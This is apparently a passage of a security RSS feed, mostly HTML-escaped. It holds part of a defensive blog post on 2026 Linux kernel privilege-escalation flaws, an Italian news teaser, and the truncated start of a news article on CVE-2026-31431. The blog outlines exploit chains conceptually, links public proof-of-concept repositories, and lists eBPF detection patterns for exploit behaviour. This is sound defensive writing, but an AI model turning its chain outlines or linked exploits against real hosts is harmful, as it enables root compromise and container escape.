&lt;li&gt;A privileged (likely networking) process with &lt;code&gt;CAP_NET_ADMIN&lt;/code&gt; registers a ZCRX interface queue and repeatedly triggers the scrub/refill race&lt;/li&gt;
&lt;li&gt;&lt;code&gt;free_count&lt;/code&gt; exceeds &lt;code&gt;nr_iovs&lt;/code&gt;; a u32 is written past the end of the freelist array into an adjacent slab object&lt;/li&gt;
&lt;li&gt;The attacker controls slab cache placement via area size at registration, then fills that cache with a target object type via object spray to ensure the OOB write lands predictably&lt;/li&gt;
&lt;li&gt;Full chain requires KASLR defeat via a separate read primitive(so far undemonstrated publicly)&lt;/li&gt;
&lt;li&gt;Result if chain completes: container escape, root on host (but this has a lot of prerequisites)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;em&gt;I Heard People Like Stories&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;A Kubernetes cluster grants &lt;code&gt;NET_ADMIN&lt;/code&gt; to networking sidecars on a ≥6.12 kernel with ZCRX enabled&lt;/li&gt;
&lt;li&gt;An attacker compromises a sidecar container through an unrelated application-layer vulnerability such as an RCE in a sidecar proxy or service mesh component&lt;/li&gt;
&lt;li&gt;From inside the sidecar they repeatedly trigger the ZCRX race, grooming heap layout until the overwrite corrupts a target kernel object&lt;/li&gt;
&lt;li&gt;Each step of the chain(spray landing correctly, KASLR break, controlled overwrite of a useful target) has independent failure modes. At this point no public PoC completes this&lt;/li&gt;
&lt;li&gt;Result if successful (i.e. process has CAP_NET_ADMIN and KASLR defeat is achieved): root on the Kubernetes worker node, access to service account tokens, secrets, and neighboring tenant workloads&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Ok Now I&amp;#39;m Scared, What Do We Do?&lt;/h2&gt;&lt;h3&gt;Immediate Fire-Fighting&lt;/h3&gt;&lt;h4&gt;Apply Recommended Mitigations With Caution&lt;/h4&gt;&lt;p&gt;Applicable to all three of these, immediately carry out some house security hygiene:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Restrict unprivileged user namespaces&lt;/li&gt;
&lt;li&gt;Track kernel update closely&lt;/li&gt;
&lt;li&gt;Audit &lt;code&gt;CAP_NET_ADMIN&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Carry out below mitigations independently as they do not cover each other&amp;#39;s blast area. &lt;/p&gt;&lt;h5&gt;Dirty Frag Mitigations&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rxrpc&lt;/code&gt; is safe to block on almost everything that is not an AFS client&lt;/li&gt;
&lt;li&gt;Recommended Dirty Frag mitigations (disabling &lt;code&gt;esp4&lt;/code&gt; and &lt;code&gt;esp6&lt;/code&gt; )affect IPsec , and hosts terminating IPsec tunnels cannot safely apply this &lt;ul&gt;
&lt;li&gt;on those hosts a safe interim option is network-layer access control: restrict who can reach the host locally, audit userns policy, and treat kernel patch as the only real fix. The module blacklist is not an option&lt;/li&gt;
&lt;li&gt;VPN infrastructure running kernel-space IPsec (IKEv2/IPsec via strongSwan or Libreswan with kernel ESP) cannot safely apply the esp4/esp6 module blacklist — that is the data plane. The only viable fix is the kernel patch. Providers on distro kernels without the Dirty Frag or Fragnesia backport yet have no interim mitigation that preserves service. Multi-tenant VPN concentrators should treat this as elevated urgency and track distro patch availability directly rather than waiting for routine update cycles. Wireguard not affected.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Investigate workloads repeatedly trying to load &lt;code&gt;esp4&lt;/code&gt;, &lt;code&gt;esp6&lt;/code&gt;, or &lt;code&gt;rxrpc&lt;/code&gt; after disallowlisting. Keep an eye out in your logs for failed autoloads due to &lt;code&gt;/bin/false&lt;/code&gt; overrides will appear, and treat unexpected attempts as suspicious&lt;/li&gt;
&lt;/ul&gt;&lt;h5&gt;Copy Fail Mitigations&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;Some nuances on AF_ALG related mitigations (specifically, the&lt;code&gt;algif_aead submodule&lt;/code&gt; for Copy Fail)&lt;ul&gt;
&lt;li&gt;There is &lt;a href=&quot;https://news.ycombinator.com/item?id=47956312&quot;&gt;community sentiment&lt;/a&gt; around the frequent AF_ALG(&lt;code&gt;algif_aead&lt;/code&gt; is a submodule of AF_ALG) exploits. For most workloads, userspace crypto libraries (OpenSSL, GnuTLS, wolfSSL) are sufficient. They implement AEAD primitives directly using AES-NI, VAES, and ARMv8 crypto extensions without needing kernel boundary crossing. On bulk symmetric crypto, userspace often wins on throughput by eliminating syscall overhead (this applies less for workloads already using &lt;code&gt;io_uring&lt;/code&gt; with AF_ALG, because &lt;code&gt;io_uring&lt;/code&gt;-based AF_ALG removes most of the syscall overhead on modern kernels)&lt;/li&gt;
&lt;li&gt;It is not always the case, so you may want to disallow &lt;code&gt;algif_aead&lt;/code&gt; first. &lt;code&gt;algif_hash&lt;/code&gt; and &lt;code&gt;algif_skcipher&lt;/code&gt; have different usage profiles and a cleaner exploit history — a blanket AF_ALG disable may be overkill for most environments.****&lt;/li&gt;
&lt;li&gt;To minimize breaking changes, check these:&lt;ul&gt;
&lt;li&gt;FIPS 140 — the kernel FIPS module covers AF_ALG consumers. Userspace replacement needs its own validated implementation. OpenSSL has it; not every stack does.&lt;/li&gt;
&lt;li&gt;PCIe crypto offload — Intel QAT and some SmartNIC offload paths are only reachable through the kernel crypto API. AES-NI is CPU-local and does not substitute for attached hardware accelerators that register as kernel crypto drivers. &lt;/li&gt;
&lt;li&gt;&lt;code&gt;cryptsetup&lt;/code&gt; / &lt;code&gt;dm-crypt&lt;/code&gt; — AF_ALG is used in specific disk encryption configurations opportunistically, but falls back to userspace libgcrypt/OpenSSL if AF_ALG is unavailable. Audit before disabling just to be doubly careful&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;h5&gt;io_uring ZCRX freelist OOB mitigations&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;ZCRX is ≥6.12 only, hosts on 5.15, 6.1 LTS are not in scope, verify your kernel version before treating this as applicable. Patch &lt;code&gt;003049b1c4fb&lt;/code&gt; is in stable and backported to all maintained branches, just apply. &lt;/li&gt;
&lt;li&gt;No module blacklist equivalent exists for ZCRX — &lt;code&gt;io_uring&lt;/code&gt; itself cannot be blacklisted on workloads that depend on it, and ZCRX is a feature within io_uring rather than a separable module&lt;ul&gt;
&lt;li&gt;If io_uring is not required by any workload on the host, syscall restriction via seccomp is a viable surface reduction: block &lt;code&gt;io_uring_setup&lt;/code&gt; entirely&lt;/li&gt;
&lt;li&gt;The only scenario where the io_uring/seccomp restriction is worth considering is a host running a vulnerable kernel where patching is blocked for some reason (frozen image, vendor lock, compliance hold), still verify for dependencies to prevent silent failures&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NET_ADMIN&lt;/code&gt; in container &lt;code&gt;securityContext&lt;/code&gt; should be treated as a high-trust grant in general. Always evaluate specific capability is actually required or whether a more scoped alternative exists&lt;/li&gt;
&lt;li&gt;Since the full exploitation path has not been demonstrated, the patch urgency is real but operational risk is lower than Copy Fail or Dirty Frag&lt;/li&gt;
&lt;/ul&gt;&lt;h4&gt;This is Not a Time to Try New Things&lt;/h4&gt;&lt;p&gt;I said this to my partner and they were like &amp;quot;saying this in the year of our lord AI is pretty funny&amp;quot;. Head nod to friend &lt;a href=&quot;https://xeiaso.net/blog/2026/abstain-from-install/&quot;&gt;Xe&lt;/a&gt;&amp;#39;s advice for not installing new software. If you must you must, just know this is a very bad time. I kind of feel like the security landscape right now is akin to a club with very dirty bathooms and people who don&amp;#39;t wash their hands, we really don&amp;#39;t know what&amp;#39;s going on anymore. &lt;/p&gt;&lt;h3&gt;Next Steps: House Security Hygiene and Disaster Response&lt;/h3&gt;&lt;p&gt;Having spoken to ~20 friends and clients in the industry over the last few weeks, I have observed significantly less stress from teams who have in-place house hygiene and environment hardening practices. This is not to say those who don&amp;#39;t are not as good as engineering, many factors contribute to technical debt, and teams need to be well-resourced with support and strategy from organization leadership to combat complex system entropy. &lt;/p&gt;&lt;p&gt;If your team is able to, consider these structural fixes and audits. If your team needs more support in order to devote more engineering resources to this type of work (which can often be seen as cost centre work and not worth doing), show sections of this article to folks who can help you shift work priorities. In our current security landscape, companies who devote appropriate investments to security and system reliability ultimately win out in margins (incidents are expensive, as is losing customers). &lt;/p&gt;&lt;h4&gt;Revisit Incident Response and Disaster Processes&lt;/h4&gt;&lt;p&gt;As we&amp;#39;ve discussed in the embargoes section, we may need to patch faster as public LPEs with working exploits are becoming frequent. &lt;/p&gt;&lt;p&gt;For multi-tenant hosts, CI runners, and shared compute, you need a faster path. As is the case for all disaster responses, preparation ahead of time is key. Responding and not reacting will keep us ahead of the curve when it comes to defense.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Review and update your emergency reboot process for kernel CVEs&lt;/li&gt;
&lt;li&gt;Livepatching where reboots are painful. Note that livepatch coverage for a given CVE is not guaranteed and varies by vendor and kernel version. &lt;a href=&quot;https://github.com/dynup/kpatch&quot;&gt;kpatch&lt;/a&gt; (upstream, Red Hat) or &lt;a href=&quot;https://tuxcare.com/live-patching-services/&quot;&gt;KernelCare&lt;/a&gt; (TuxCare commercial) both have coverage lag for novel bug classes. For Copy Fail and Dirty Frag specifically, verify coverage before treating livepatch as equivalent to a full kernel update.&lt;/li&gt;
&lt;li&gt;Keep node pools where possible for faster cycling&lt;/li&gt;
&lt;li&gt;Review change-making and breakclass processes for active KEV-listed CVEs to speed up incident response&lt;/li&gt;
&lt;/ul&gt;&lt;h4&gt;Regular Audits of Important Stuff&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Make seccomp profile validation part of your ritualistic audit. Go beyond policy document review, test against actual syscall behavior at runtime using tools like &lt;code&gt;seccomp-tools&lt;/code&gt; or &lt;code&gt;tracee&lt;/code&gt;. Policy documents frequently drift from what containers actually do.&lt;/li&gt;
&lt;li&gt;Restrict unprivileged usernamespaces on server and CI hosts where userns-dependent tooling (eg Podman rootless, chrome sandboxing, etc) are not present. Evaluate before pusehing broadly&lt;/li&gt;
&lt;li&gt;Regularly audit powerful capabilities like &lt;code&gt;CAP_NET_ADMIN&lt;/code&gt;, confirm uses are necessary and remove where possible&lt;/li&gt;
&lt;li&gt;Review container configurations for best security practices (eg &lt;a href=&quot;https://kubernetes.io/docs/tasks/configure-pod-container/security-context/&quot;&gt;https://kubernetes.io/docs/tasks/configure-pod-container/security-context/&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Know your Reachability and maintain SBOM/dependency hygiene for kernel consumers: &lt;/p&gt;&lt;ul&gt;
&lt;li&gt;several mitigations (IPsec mapping, CAP_NET_ADMIN audit, io_uring dependency check) require knowing what your workloads actually use. Teams without current SBOMs and capability manifests cannot answer these questions quickly under incident pressure &lt;/li&gt;
&lt;li&gt;A standing audit of capability grants and kernel feature dependencies belongs in the hygiene section as a prerequisite to effective incident response&lt;ul&gt;
&lt;li&gt;Concrete instance: Map IPsec dependencies, because the next incident is a &lt;code&gt;when&lt;/code&gt; not &lt;code&gt;if&lt;/code&gt;. Be prepared by knowing, have these documented and tested before the next 2AM page:&lt;ul&gt;
&lt;li&gt;Which hosts terminate IPsec tunnels&lt;/li&gt;
&lt;li&gt;Which use kernel-space (esp4/esp6) vs. userspace (libreswan with netlink, strongSwan with user-space crypto) paths&lt;/li&gt;
&lt;li&gt;What breaks if &lt;code&gt;esp4&lt;/code&gt; and &lt;code&gt;esp6&lt;/code&gt; are blacklisted on each host class&lt;/li&gt;
&lt;li&gt;Who owns the fallback and what the recovery time looks like&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;h4&gt;Stay Alert and be Prepared&lt;/h4&gt;&lt;p&gt;As is with any system, observability and preparedness will keep you ahead of the game. &lt;/p&gt;&lt;ul&gt;
&lt;li&gt;watch kernel commits directly. Distro advisories are downstream. Security teams that monitor sensitive kernel areas have hours of lead time over teams waiting for packaged advisories&lt;ul&gt;
&lt;li&gt;Rough commit flagging on these paths(even just a daily grep of git logs)is better than waiting for a polished advisory &lt;/li&gt;
&lt;li&gt;Generic kernel monitoring could be too broad to be actionable. Watching &lt;code&gt;netdev/net.git&lt;/code&gt;, &lt;code&gt;crypto/&lt;/code&gt;, &lt;code&gt;io_uring/&lt;/code&gt;, &lt;code&gt;security/&lt;/code&gt; (AppArmor/LSM) would have caught the issues mentioned in this article&lt;/li&gt;
&lt;li&gt;Consider automating this type of alerting&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;behaviour-based detection and alerting&lt;ul&gt;
&lt;li&gt;eBPF infrastructure is a natural fit for kernel compromises, but having the tooling set up does not automatically mean useful detection logic. here&amp;#39;s a short list of what to alert on relevant to this article&lt;ul&gt;
&lt;li&gt;unexpected &lt;code&gt;splice()&lt;/code&gt; into AF_ALG or RxRPC sockets from non-root processes&lt;/li&gt;
&lt;li&gt;&lt;code&gt;setuid&lt;/code&gt; binary execution immediately following &lt;code&gt;splice()&lt;/code&gt; calls in the same process lineage&lt;/li&gt;
&lt;li&gt;&lt;code&gt;io_uring_register&lt;/code&gt; with &lt;code&gt;IORING_REGISTER_ZCRX_IFQ&lt;/code&gt; from containerized processes&lt;/li&gt;
&lt;li&gt;page cache invalidation (&lt;code&gt;drop_caches&lt;/code&gt;) outside of scheduled maintenance windows&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;We live in the world of AI-driven observability and there is a call for automating SREs out of the step, but teams are better off having human intervention when it comes to determining what to observe and alert on, and who to page. Remember, AI is not sentient, and we need neuroplasticity and real consciousness involved for useful decision-making to defend against sophisticated attackers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;#hugops is for Everyone (Yes that Includes You)&lt;/h2&gt;&lt;p&gt;People who always want to do a good job and be the best versions of themselves hold beliefs that sound something like &amp;quot;if we do our best, then nothing bad could happen&amp;quot;. Yet life is a series of stochastic events following vague patterns that do not serve as valid prediction heuristics. &lt;/p&gt;&lt;p&gt;If you are tearing your hair out over &amp;quot;why is this happening to me/us/the industry&amp;quot; and &amp;quot;why are they like this&amp;quot;/&amp;quot;why AM I like this&amp;quot;, remember bad things can happen to good people, compromises can happen to well-loved systems, and harm can be done by well-meaning folks. A little empathy goes a long way, and we do our best work when we are at peace with ourselves and the world. Many of the issues we are observing (both long-standing and new) can only be solved by us as a community.&lt;/p&gt;&lt;p&gt;Regardless of whether you are a believer of &amp;quot;move fast and make mistakes&amp;quot; or &amp;quot;move with intention and bias towards caution&amp;quot;, remember #hugops is for everyone, that includes you and everyone who works and does not work like you. The industry is big enough to accommodate many different ways of work, technical rigour is not the only thing we need, continuous optimization driven by diversity of thought will get us through the next phase of software development evolution. &lt;/p&gt;&lt;h2&gt;Further Resources&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Copy Fail — CVE-2026-31431&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Dirty Frag — CVE-2026-43284 + CVE-2026-43500&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/V4bel/dirtyfrag&quot;&gt;github.com/V4bel/dirtyfrag&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-43284&quot;&gt;NVD — CVE-2026-43284&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.openwall.com/lists/oss-security/2026/05/07/8&quot;&gt;oss-security — Kim&amp;#39;s disclosure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.openwall.com/lists/oss-security/2026/05/07/12&quot;&gt;oss-security — _SiCk / Copy Fail 2 Electric Boogaloo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo&quot;&gt;Copy Fail 2: Electric Boogaloo PoC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://afflicted.sh/blog/posts/copy-fail-2.html&quot;&gt;afflicted.sh write-up&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://canonical.com/blog/dirty-frag-linux-vulnerability-fixes-available&quot;&gt;Canonical advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wiz.io/blog/dirty-frag-linux-kernel-local-privilege-escalation-via-esp-and-rxrpc&quot;&gt;Wiz research&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.qualys.com/product-tech/vulnmgmt-detection-response/2026/05/09/dirty-frag-using-the-page-caches-as-an-attack-surface&quot;&gt;Qualys analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Azure/AKS/issues/5753&quot;&gt;AKS advisory and mitigation DaemonSet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4&quot;&gt;Mainline patch — f4c50a4034e6 (ESP)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71&quot;&gt;Mainline patch — aa54b1d27fe0 (RxRPC)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;io_uring ZCRX OOB Write — CVE-2026-43121&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://app.opencve.io/cve/CVE-2026-43121&quot;&gt;NVD — CVE-2026-43121&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snailsploit.com/security-research/general/io-uring-zcrx-race-condition/&quot;&gt;Kai Aizen original research&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://seclists.org/oss-sec/2026/q2/444&quot;&gt;oss-security CVE request thread + Solar Designer / Axboe review&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=003049b1c4fb8aabb93febb7d1e49004f6ad653b&quot;&gt;Mainline patch — 003049b1c4fb&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;CrackArmor — CVE-2026-23268 through CVE-2026-23411&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.qualys.com/vulnerabilities-threat-research/2026/03/12/crackarmor-critical-apparmor-flaws-enable-local-privilege-escalation-to-root&quot;&gt;Qualys TRU advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ubuntu.com/security/vulnerabilities/crackarmor&quot;&gt;Canonical vulnerability knowledge base&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://canonical.com/blog/apparmor-vulnerability-fixes-available&quot;&gt;Canonical advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Fragnesia — CVE-2026-46300&lt;/strong&gt; &lt;em&gt;(disclosed today — patch not yet in stable)&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/v12-security/pocs/tree/main/fragnesia&quot;&gt;V12 Security PoC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://seclists.org/oss-sec/2026/q2/517&quot;&gt;oss-security disclosure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lore.kernel.org/all/20260513041635.1289541-1-vakzz@zellic.io/&quot;&gt;Netdev patch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://almalinux.org/blog/2026-05-13-fragnesia-cve-2026-46300/&quot;&gt;AlmaLinux advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tuxcare.com/blog/fragnesia-cve-2026-46300-is-a-new-linux-kernel-lpe/&quot;&gt;TuxCare/KernelCare advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Lineage and Context&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dirtypipe.cm4all.com/&quot;&gt;Dirty Pipe — CVE-2022-0847&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2016-5195&quot;&gt;Dirty COW — CVE-2016-5195&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.blackhat.com/us-22/briefings/schedule/#dirtycred-escalating-privilege-in-linux-kernel-27156&quot;&gt;Dirty Cred — Black Hat 2022&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised&quot;&gt;Mini Shai Hulud / TanStack supply chain compromise&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Operational and Patching&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/dynup/kpatch&quot;&gt;kpatch — upstream livepatch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tuxcare.com/live-patching-services/&quot;&gt;KernelCare — TuxCare commercial livepatch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kubernetes.io/docs/tasks/configure-pod-container/security-context/&quot;&gt;Kubernetes securityContext reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cert.europa.eu/publications/security-advisories/2026-005/&quot;&gt;CERT-EU Copy Fail advisory — AF_ALG exposure check: &lt;code&gt;lsof | grep AF_ALG&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded>
</item>
<item>
<title>Fragnesia, la nuova falla nel kernel Linux che regala privilegi di root: come difendersi</title>
<link>https://www.cybersecurity360.it/news/fragnesia-la-nuova-falla-nel-kernel-linux-che-regala-privilegi-di-root-come-difendersi/</link>
<guid isPermaLink="false">0Ax5GUvx6kZ4qb5z7WL4PWFPtpQj7OjctRlFgA==</guid>
<pubDate>Thu, 14 May 2026 11:28:46 +0000</pubDate>
<description>Una terza vulnerabilità critica in meno di tre settimane colpisce il kernel Linux. Fragnesia consente a qualsiasi utente locale senza privilegi di ottenere accesso root corrompendo la page cache del kernel. Il PoC è già pubblico. Ecco l&#39;analisi tecnica, le distribuzioni coinvolte e le indicazioni operative per mitigare il rischio L&#39;articolo Fragnesia, la nuova falla nel kernel Linux che regala privilegi di root: come difendersi proviene da Cyber Security 360.</description>
<content:encoded>&lt;p&gt;Una terza vulnerabilità critica in meno di tre settimane colpisce il kernel Linux. Fragnesia consente a qualsiasi utente locale senza privilegi di ottenere accesso root corrompendo la page cache del kernel. Il PoC è già pubblico. Ecco l&amp;#39;analisi tecnica, le distribuzioni coinvolte e le indicazioni operative per mitigare il rischio&lt;/p&gt;&lt;p&gt;L&amp;#39;articolo &lt;a href=&quot;https://www.cybersecurity360.it/news/fragnesia-la-nuova-falla-nel-kernel-linux-che-regala-privilegi-di-root-come-difendersi/&quot;&gt;Fragnesia, la nuova falla nel kernel Linux che regala privilegi di root: come difendersi&lt;/a&gt; proviene da &lt;a href=&quot;https://www.cybersecurity360.it&quot;&gt;Cyber Security 360&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Nine-year-old Linux kernel flaw enables reliable local privilege escalation (CVE-2026-31431) - Help Net Security</title>
<link>https://www.helpnetsecurity.com/2026/04/30/copyfail-linux-lpe-vulnerability-cve-2026-31431/</link>
<enclosure type="image/jpeg" length="0" url="https://img.helpnetsecurity.com/wp-content/uploads/2025/09/08083118/linux-1500.webp"></enclosure>
<guid isPermaLink="false">dqOUmeiORDERRPrCQuf37duqXEnbT7tMCEenvg==</guid>
<pubDate>Thu, 14 May 2026 03:13:23 +0000</pubDate>
<description>Security researchers have disclosed CopyFail, a local privilege escalation (LPE) vulnerability (CVE-2026-31431) in the Linux kernel.</description>
<content:encoded>&lt;p&gt;Security researchers at Theori have disclosed a high-severity local privilege escalation (LPE) vulnerability (CVE-2026-31431) in the Linux kernel. &lt;/p&gt;&lt;p&gt;The flaw, nicknamed “Copy Fail”, has affected virtually every major Linux distribution shipped since 2017, and a working proof-of-concept (PoC) exploit is &lt;a href=&quot;https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py&quot;&gt;publicly available&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;About CVE-2026-31431&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://copy.fail&quot;&gt;According to&lt;/a&gt; Theori researchers, CVE-2026-31431 originates from the interaction of three reasonable kernel changes made over several years: the addition of &lt;em&gt;authencesn&lt;/em&gt; (an AEAD cryptographic wrapper used by IPsec) in 2011, the introduction of AF_ALG AEAD socket support in 2015, and an in-place optimization added to &lt;em&gt;algif_aead.c&lt;/em&gt; in 2017.&lt;/p&gt;&lt;p&gt; It’s a logic bug in the &lt;em&gt;authencesn&lt;/em&gt; cryptographic template and allows an unprivileged local user to write 4 controlled bytes into the &lt;a href=&quot;https://en.wikipedia.org/wiki/Page_cache&quot;&gt;page cache&lt;/a&gt; of any readable file on a Linux system, and use that to gain root. &lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://xint.io/blog/copy-fail-linux-distributions&quot;&gt;technical write-up&lt;/a&gt; is more detailed, of course.&lt;/p&gt;&lt;p&gt;The good news is that CVE-2026-31431 exploitation requires local code execution as a regular user, which means that, by itself, it can’t be exploited remotely. But “chain it with anything that gives you that (web RCE landing in an unprivileged service account, an SSH foothold, a malicious PR on a CI runner) and you’re root,” the researchers pointed out.&lt;/p&gt;&lt;p&gt;The bad news is that unlike the &lt;a href=&quot;https://www.helpnetsecurity.com/2016/10/21/dirty-cow-linux-kernel-zero-day/&quot;&gt;Dirty Cow&lt;/a&gt; and &lt;a href=&quot;https://www.helpnetsecurity.com/2022/03/08/cve-2022-0847/&quot;&gt;Dirty Pipe&lt;/a&gt; Linux kernel LPE vulnerabilities, Copy Fail can be exploited without having to win a race condition, and the same exploit will work on many systems.&lt;/p&gt;&lt;h3&gt;What to do?&lt;/h3&gt;&lt;p&gt;CVE-2026-31431 affects every Linux distribution that uses a kernel that has been released since 2017. &lt;/p&gt;&lt;p&gt;The exploit script is tiny, doesn’t rely on additional software being installed, will work on almost all Linux distributions released since 2017, will work each time it’s run on a vulnerable system, doesn’t change files on disk and won’t be flagged by tools that monitor files for tampering, leaves no forensic trace on disk and, finally, it can break out of container isolation. &lt;/p&gt;&lt;p&gt;For all of these reasons, the researchers advise admins to prioritize patching the vulnerability on multi-tenant Linux systems, CI runners, cloud SaaS running user code, and container clusters first, and then on standard Linux servers and single-user workstations:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://img2.helpnetsecurity.com/posts2026/CopyFail-patching-prioritization-1.webp&quot;&gt;&lt;img src=&quot;https://img2.helpnetsecurity.com/posts2026/CopyFail-patching-prioritization-1.webp&quot; alt=&quot;Linux LPE vulnerability CVE-2026-31431&quot; title=&quot;Advice on CopyFail patching prioritization advice (Source: Theori)&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;h6&gt;
&lt;p&gt;Copy Fail patching prioritization (Source: Theori)&lt;/p&gt;
&lt;/h6&gt;&lt;p&gt;The researchers verified that Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, and SUSE 16 are vulnerable. Openwall Project founder Alexander Peslyak (aka Solar Designer) &lt;a href=&quot;https://seclists.org/oss-sec/2026/q2/291&quot;&gt;confirmed&lt;/a&gt; that the exploit provided worked on Rocky Linux 9.7.&lt;/p&gt;&lt;p&gt;Linux distros have been notified of the existence of the vulnerability in advance, they say, and some have already released kernel packages that include &lt;a href=&quot;https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5&quot;&gt;the commit&lt;/a&gt; that patched it. &lt;/p&gt;&lt;p&gt;Admins/users who, for whatever reason, can’t update their distribution’s kernel package, can temporarilty mitigate the risk by:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Blocking AF_ALG socket creation via seccomp, or&lt;/li&gt;
&lt;li&gt;Blacklisting the algif_aead module.&lt;/li&gt;
